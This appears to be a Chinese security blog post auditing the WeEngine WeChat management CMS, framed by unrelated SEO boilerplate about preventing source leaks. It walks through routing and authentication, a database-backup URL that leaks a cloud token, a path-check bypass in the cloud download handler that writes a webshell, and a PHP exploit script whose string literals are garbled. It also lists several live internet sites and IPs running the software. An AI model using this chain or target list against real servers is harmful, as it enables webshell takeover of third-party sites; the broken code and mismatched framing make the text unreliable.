今天给各位分享html网站源码分享防止泄露的知识,其中也会对html网站设计源码进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
0x01目标熟悉
软件简介:微擎是宿州市微擎云计算有限公司开发的一款免费开源的微信公众号管理系统
官网地址:https://www.w7.cc/
开发文档(https://wiki.w7.com/document/35/370)中提到,源代码位于:https://gitee.com/we7coreteam/pros
根据在线文档(https://wiki.w7.com/document)中的更新公告,最新版是2.7.50
根据开源代码库(https://gitee.com/we7coreteam/pros/tree/master/upgrade)中的记录,最新版是2.7.9
网站搭建好后,在底部又发现最新版是2.7.108
0x02环境搭建
搭建微擎的过程中踩了很多坑,以下2个坑想搭建的师傅有个心理准备:
1微擎的版本挺错乱的,下载后是2.7.108,结果搭建完成后底部却显示2.7.94,同样其他版本也是,下载时是一个版本,搭建后又是另一个版本
2在最新的官网上已经不再提供离线安装的版本,而且提供的安装包(https://gitee.com/we7coreteam/pros)也是很多功能不全,必须要在官网注册认证过了才能通过在线升级来获取到全部功能,有点让人无语
下面是对官网提供的安装脚本的安装演示,一开始使用mac下的php集成环境MAMP,结果在最后一步连接数据库的时候会有问题,这里改用windows下集成环境phpstudy,将项目放到phpstudy对应目录下,访问后按提示操作即可,搭建完成如下图
访问目标地址,发现是已登录状态
使用全新的浏览器访问目标地址,可看到未登录状态下首页如下图
下图是踩坑时搭建的多个版本
0x03互联网案例
1\n2\n3\n4\n5\n6\n7\n8\n
https://www.zxida.com/web/\nhttps://39.98.239.118/web/\nhttps://www.cdwjsq.com/web/\nhttps://mp.wxquan.cn/web/\nhttp://49.234.65.194/web/\nhttp://wx.mindmob.cn/web/\n\nintitle:&34;\n
0x04开始审计
01目录结构
源码下载到本地后,可以看到目录结构如下
对上述目录结构解释如下
1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n
addons微擎模块\napi对接外部系统接口\napp微站(Mobile/App)\ndata存放配置文件\nframework微擎框架\npayment支付调用目录\ntester测试用例\nupgrade升级脚本\nweb后台管理\napi.php微信api接口\nconsole.php命令行执行文件\nindex.php系统入口\ninstall.php安装文件\n\nattachment附件目录\n
02确定路由
当传入的URL请求中包含一个名为c、a、do的GET参数,它即被视为一个路由,例如:
1\n2\n3\n4\n5\n
http://we7.cc/web/index.php?c=platform&a=menu&\n则会路由至/web/source/platform/menu.ctrl.php文件中\n\nhttp://we7.cc/app/index.php?c=mc&a=home&\n则会路由至/app/source/mc/home.ctrl.php文件中\n
其中c为控制器(controller),a为操作(action),do为行为(do),且do是可选的,也就是不指定的话会使用默认行为
控制器以文件夹、文件的形式组织,位于系统的source目录下,每一个目录代表一个controller,文件夹中的每个文件即为一个action。某些情况,一个action可能会包含多个操作,系统中提供do参数来用于区分同一个action中的不同操作。例如:
1\n
http://pro.we7.cc/web/index.php?c=extension&a=module&do=designer\n
extension为控制器,module为action,designer为该action下的某一个具体的do
微擎中对于模块的访问,路由稍微不一样
当传入的c值为“site”,a值为“entry”时则是一个模块路由,例如:
1\n
http://we7.cc/web/index.php?c=site&a=entry&do=themeset&m=we7_demo\n
则会路由至/addons/we7_demo/site.php文件中的doWebThemeset()方法。
1\n
http://we7.cc/app/index.php?i=1&j=2&c=entry&do=list&m=we7_demo\n
则会路由至/addons/we7_demo/site.php文件中的doMobileList()方法。
03确定鉴权
文档中提到,移动端代码位于目录/app/下,web段代码位于目录/web/下,我们先看下web端代码,目录结构如下
、
其中入口文件为index.php,通读index.php后会发现,鉴权主要由如下代码实现
可看到如果访问的是无需鉴权的接口,则直接跳到对应controller及action处,否则会调用checklogin(),也就是需要检查登录状态
其中$acl在上面被定义为
1\n
$acl=requireIA_ROOT.&39;;\n
进入文件permission.inc.php可看到,控制器advertisement下面无可直接访问的action,控制器article下面notice-show,news-show,notice-news是可直接访问的
image-20221206155010265
依照此规律,可梳理出前台访问的接口,及后台访问的接口
04前台漏洞
前台接口中暂未发现漏洞点
05后台漏洞
漏洞1:已公开但无POC
漏洞出现在web/source/cloud/dock.ctrl.php
简单讲述一下代码逻辑(搞懂下面的逻辑,才能构造exp),根据之前的路由分析可知,传入的动作为download时,进入子句
传入的post数据如果进行了base64编码,则解码后赋值给data,否则直接赋值给data,对data进行反序列化,反序列化后先对数组中的file进行base64解码,再判断是否存在gzcompress和gzuncompress,存在的话再进行解压,最后赋值给file
从缓存中获取cloud_transtoken,并传入authcode进行解密,赋值给全局变量$_W中的setting->site->token,对file进行md5加密再拼接数组中的path以及全局变量$_W中的setting->site->token,最后赋值给string
如果全局变量$_W中的setting->site->token非空,且string进行md5加密后等于数组中的sign,则进入子句
判断数组中的path是否以”/web”或”/framework”开头,此处我们在构造数组中path的时候只需以”/“开头即可绕过,绕过后子句中构造数组path的全路径,最后调用file_put_contents写入webshell
这里有一个难点,就是从缓存中获取cloud_transtoken,全局搜索,通过分析发现,访问链接http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456进行数据库备份,则数据库备份文件的地址为:http://ip:port/data/backup/123/volume-456-1.sql,拿到数据库备份后,全局搜索cloud_transtoken,可获取cloud_transtoken的值,对应的exp编写如下
简单解释一下,调用项目中的函数authcode,传入cloud_transtoken,获取返回的值,根据之前分析的代码逻辑,反向构造原始数据包,并将payload嵌入其中
1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n58\n59\n60\n61\n62\n63\n64\n65\n66\n67\n68\n69\n70\n71\n72\n73\n74\n75\n76\n77\n78\n79\n80\n81\n82\n83\n
<?php\n\nfunctionauthcode($string,$operation=&39;,$key=&39;,$expiry=0){\n$ckey_length=4;\n$key=md5(&39;!=$key?$key:&34;);\n$keya=md5(substr($key,0,16));\n$keyb=md5(substr($key,16,16));\n$keyc=$ckey_length?(&39;==$operation?substr($string,0,$ckey_length):substr(md5(microtime()),-$ckey_length)):&39;;\n\n$cryptkey=$keya.md5($keya.$keyc);\n$key_length=strlen($cryptkey);\n\n$string=&39;==$operation?base64_decode(substr($string,$ckey_length)):sprintf(&39;,$expiry?$expiry+time():0).substr(md5($string.$keyb),0,16).$string;\n$string_length=strlen($string);\n\n$result=&39;;\n$box=range(0,255);\n\n$rndkey=array();\nfor($i=0;$i<=255;++$i){\n$rndkey[$i]=ord($cryptkey[$i%$key_length]);\n}\n\nfor($j=$i=0;$i<256;++$i){\n$j=($j+$box[$i]+$rndkey[$i])%256;\n$tmp=$box[$i];\n$box[$i]=$box[$j];\n$box[$j]=$tmp;\n}\n\nfor($a=$j=$i=0;$i<$string_length;++$i){\n$a=($a+1)%256;\n$j=($j+$box[$a])%256;\n$tmp=$box[$a];\n$box[$a]=$box[$j];\n$box[$j]=$tmp;\n$result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256]));\n}\n\nif(&39;==$operation){\nif((0==substr($result,0,10)||substr($result,0,10)-time()>0)&&substr($result,10,16)==substr(md5(substr($result,26).$keyb),0,16)){\nreturnsubstr($result,26);\n}else{\nreturn&39;;\n}\n}else{\nreturn$keyc.str_replace(&39;,&39;,base64_encode($result));\n}\n}\n\n$cloud_transtoken=&34;\n$token=authcode($cloud_transtoken,&34;);\n\nfunctionbuild(){\n$file=&34;;\n$path=&34;\n$string=(md5($file).$path.$token);\n$sign=md5($string)\n\n$file_=gzcompress($file);\n//print($file_);\n$file__=base64_encode($file_);\n//print($file__);\n\n$ret=array(\n&34;=>$file__,\n&34;=>$path,\n&34;=>$sign\n);\n\nprint(serialize($ret));\n}\n\n//build();\n\n/*\n$gz=function_exists(&39;)&&function_exists(&39;);\nif($gz){\necho&34;;\n}else{\necho&34;;\n}\n*/\n
由于我这边是本地搭建的环境,站点无法注册,导致数据库备份后无cloud_transtoken,不能演示打poc过程,对于实际站点,获取cloud_transtoken后,可基于上述poc获取webshell
参考链接
微擎CMS:从SQL到RCEhttps://cnpanda.net/codeaudit/863.html
记一次从源代码泄漏到后台获取webshell的过程https://fuping.site/2020/04/18/WeiQing-CMS-Background-Admin-GetShell/
代码审计之某通用商城系统getshell过程https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA
微擎路由https://www.kancloud.cn/donknap/we7/134629
微擎设置开发模式https://www.kancloud.cn/tieniuweb/we7web/1431036
微擎加载器https://www.kancloud.cn/donknap/we7/134628
离线安装包http://www.log4cpp.com/learnother/17.html
html网站源码分享防止泄露的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于html网站设计源码、html网站源码分享防止泄露的信息别忘了在本站进行查找哦。
